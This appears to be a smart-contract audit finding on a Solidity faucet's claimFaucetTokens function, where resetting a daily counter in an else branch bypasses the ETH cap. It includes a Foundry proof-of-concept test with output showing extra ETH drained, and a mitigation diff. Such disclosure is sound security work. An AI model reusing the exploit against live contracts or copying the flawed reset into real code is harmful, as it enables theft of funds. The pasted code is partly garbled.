Description
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Medium Likelihood - Exploitation requires specific conditions:
-
The owner must have increased dailyClaimLimit beyond 200 via adjustDailyClaimLimit()
-
An attacker must coordinate the function call after 200 users have claimed
-
The contract must have sufficient ETH reserves
-
While these conditions are not trivial, they are achievable in a testnet environment where limits are often adjusted
-
An attacker can repeat the exploit to gradually drain all ETH from the contract
-
Severe disruption of the intended faucet functionality\
Impact:
Risk:
Proof of Concept
Scenario demonstrating the exploit:
1. 200 new users claim → dailyDrips = 1 ETH (cap reached)
2. An existing user recalls claimFaucetTokens() → enters else { dailyDrips = 0; }
3. 200 new users claim again → receive additional 1 ETH
Result: 2 ETH distributed instead of 1 ETH
function testAccidentalResetExploit() public {
uint256 initialContractBalance = address(raiseBoxFaucet).balance;
console.log("Initial Balance contrat: %s", initialContractBalance);
raiseBoxFaucet.adjustDailyClaimLimit(300, true);
address[] memory firstTimeClaimers = new address[](200);
for (uint256 i = 0; i < 200; i++) {
firstTimeClaimers[i] = address(uint160(uint256(keccak256(abi.encodePacked(i)))));
vm.deal(firstTimeClaimers[i], 1 ether);
}
for (uint256 i = 0; i < 200; i++) {
vm.prank(firstTimeClaimers[i]);
raiseBoxFaucet.claimFaucetTokens();
}
address attacker = firstTimeClaimers[0];
vm.warp(block.timestamp + 4 days);
vm.prank(attacker);
raiseBoxFaucet.claimFaucetTokens();
address[] memory secondBatchClaimers = new address[](200);
for (uint256 i = 0; i < 200; i++) {
secondBatchClaimers[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 1000)))));
vm.deal(secondBatchClaimers[i], 1 ether);
}
uint256 ethReceivers = 0;
for (uint256 i = 0; i < 200; i++) {
uint256 balanceBefore = secondBatchClaimers[i].balance;
vm.prank(secondBatchClaimers[i]);
raiseBoxFaucet.claimFaucetTokens();
if (secondBatchClaimers[i].balance > balanceBefore) {
ethReceivers++;
console.log("User2 %s get ETH (bug confirme)", i);
}
}
console.log("Number of user who get ETH in second batch: %s", ethReceivers);
console.log("ETH loss cause of bug: %s", ethReceivers * 0.005 ether);
assertTrue(ethReceivers > 0, "Not working");
console.log("BUG CONFIRME: %s users received ETH while the milestone was reached!", ethReceivers);
}
Result :
...User2 98 get ETH (bug confirme)
User2 99 get ETH (bug confirme)
Number of user who get ETH in second batch: 100
ETH loss cause of bug: 500000000000000000
BUG CONFIRME: 100 users received ETH while the milestone was reached!
Recommended Mitigation
Remove the problematic line that resets dailyDrips in the else block:
(Alternative: If the reset had a specific intention, replace it with appropriate logic that doesn't compromise daily limit security.)
function claimFaucetTokens() public {
// ... existing code ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ETH distribution logic for new users
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
// ... rest of ETH logic ...
}
- else {
- dailyDrips = 0; // CRITICAL LINE TO REMOVE
- }
// ... rest of function ...
}